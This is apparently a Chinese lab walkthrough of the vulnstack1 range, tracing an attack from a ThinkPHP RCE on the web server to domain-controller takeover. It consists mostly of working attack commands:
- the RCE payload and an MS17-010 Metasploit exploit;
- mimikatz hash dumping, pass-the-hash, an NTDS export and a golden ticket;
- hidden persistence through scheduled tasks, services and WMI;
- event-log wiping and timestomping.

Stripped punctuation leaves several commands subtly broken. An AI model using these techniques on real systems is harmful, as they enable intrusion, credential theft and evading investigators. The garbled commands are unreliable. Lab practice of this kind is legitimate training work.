红日靶场vulnstack1:从环境搭建到内网渗透的实战演练
1. 红日靶场vulnstack1环境搭建第一次接触红日靶场时我被它高度仿真的内网环境所吸引。这个靶场完美模拟了企业常见的DMZ区Web服务器、内网域控和域成员服务器架构特别适合练习从外网到内网的完整渗透流程。1.1 虚拟机网络配置我习惯使用VMware Workstation来搭建环境这里分享几个关键配置要点网络适配器选择需要创建两个虚拟网络如VMnet8和VMnet12一个用于模拟外网NAT模式另一个用于内网通信仅主机模式IP规划技巧建议外网段用192.168.150.0/24内网段用192.168.52.0/24这样能避免和真实网络冲突具体IP分配如下Kali攻击机192.168.150.128仅外网Win7 Web服务器外网卡192.168.150.152内网卡192.168.52.143Win2008域控192.168.52.138Win2003域成员192.168.52.141注意Win7需要特别配置双网卡记得关闭防火墙netsh advfirewall set allprofiles state off1.2 连通性测试搭建完成后我通常会按这个顺序检查网络Kali ping Win7外网IP192.168.150.152Win7 ping 内网其他主机192.168.52.138/141在Win7上验证PHPStudy运行状态访问127.0.0.1看Apache是否正常常见踩坑点VMware虚拟网络编辑器子网配置错误Windows防火墙未关闭导致ping不通虚拟机网卡绑定错虚拟网络2. 外网渗透ThinkPHP漏洞利用2.1 信息收集用Nmap做基础扫描时我更喜欢这种组合命令nmap -sV -T4 -p- 192.168.150.152发现80端口运行着ThinkPHP 5.0框架后立即想到几个历史漏洞5.0.23 RCE最经典5.0.22 注入漏洞5.0.18 命令执行2.2 GetShell实战验证漏洞时我习惯先用curl测试curl http://192.168.150.152/index.php?s/Index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]whoami拿到Webshell后我的提权三板斧查看系统信息systeminfo检查用户权限whoami /all寻找可写目录icacls C:\2.3 权限维持技巧在实战中我喜欢用这些隐蔽的后门方式计划任务schtasks /create /tn Update /tr C:\shell.exe /sc minute /mo 1服务创建sc create WindowsUpdate binpath cmd /c start C:\phpStudy\shell.exe sc config WindowsUpdate start auto启动项把马儿放到C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\3. 内网信息搜集3.1 基础信息收集拿到跳板机后我的标准操作流程# 网络配置 ipconfig /all route print # 域信息 net config workstation net view /domain nltest /domain_trusts # 用户信息 net user /domain net group Domain Admins /domain3.2 内网扫描策略在内网扫描时要注意隐蔽性我常用这些方法ICMP探测for /l %i in (1,1,255) do ping -n 1 192.168.52.%i | find 回复端口扫描# 用PowerShell版nmap Import-Module .\Invoke-PortScan.ps1 Invoke-PortScan -Hosts 192.168.52.138-140 -Ports 445,3389,80BloodHound收集域内关系图谱4. 横向移动实战4.1 MS17-010利用发现内网存在永恒之蓝漏洞时我的操作步骤用MSF生成正向shellmsfvenom -p windows/x64/meterpreter/bind_tcp LPORT4444 -f exe eternal.exe上传到Win7跳板机执行漏洞利用use exploit/windows/smb/ms17_010_psexec set RHOSTS 192.168.52.138 set PAYLOAD windows/x64/meterpreter/bind_tcp exploit4.2 Psexec哈希传递抓到域管哈希后的经典操作# 使用mimikatz抓取哈希 sekurlsa::logonpasswords # 哈希传递攻击 psexec.exe -hashes :579da618cfbfa85247acf1f800a280a4 administrator192.168.52.1384.3 域控提权技巧拿到域控后必做的几件事导出所有用户哈希ntdsutil ac i ntds ifm create full C:\temp q q查找域管登录的机器net group Domain Admins /domain黄金票据生成kerberos::golden /admin:Administrator /domain:god.org /sid:S-1-5-21-1218 /krbtgt:579da618cfbfa85247acf1f800a280a4 /ptt5. 权限维持与痕迹清理5.1 隐蔽后门方案我常用的几种持久化方式WMI事件订阅$filter ([wmiclass]\\.\root\subscription:__EventFilter).CreateInstance() $filter.Query SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA Win32_PerfFormattedData_PerfOS_System $filter.EventNamespace root\cimv2 $filter.Name UpdaterFilter $filter.Put() $consumer ([wmiclass]\\.\root\subscription:CommandLineEventConsumer).CreateInstance() consumer.Name UpdaterConsumer consumer.CommandLineTemplate C:\Windows\System32\evil.exe consumer.Put() $binding ([wmiclass]\\.\root\subscription:__FilterToConsumerBinding).CreateInstance() $binding.Filter $filter $binding.Consumer $consumer $binding.Put()计划任务伪装伪装成系统更新任务5.2 日志清理指南清理痕迹时要注意这些关键点# 清除事件日志 wevtutil cl system wevtutil cl security wevtutil cl application # 删除操作历史 Remove-Item (Get-PSReadlineOption).HistorySavePath # 清除文件时间戳 (Get-Item evil.exe).LastWriteTime (Get-Date).AddDays(-30)在实际渗透中我发现在Win7跳板机上配置端口转发特别实用netsh interface portproxy add v4tov4 listenport8080 listenaddress0.0.0.0 connectport80 connectaddress192.168.52.138这样就能通过外网直接访问内网Web服务了。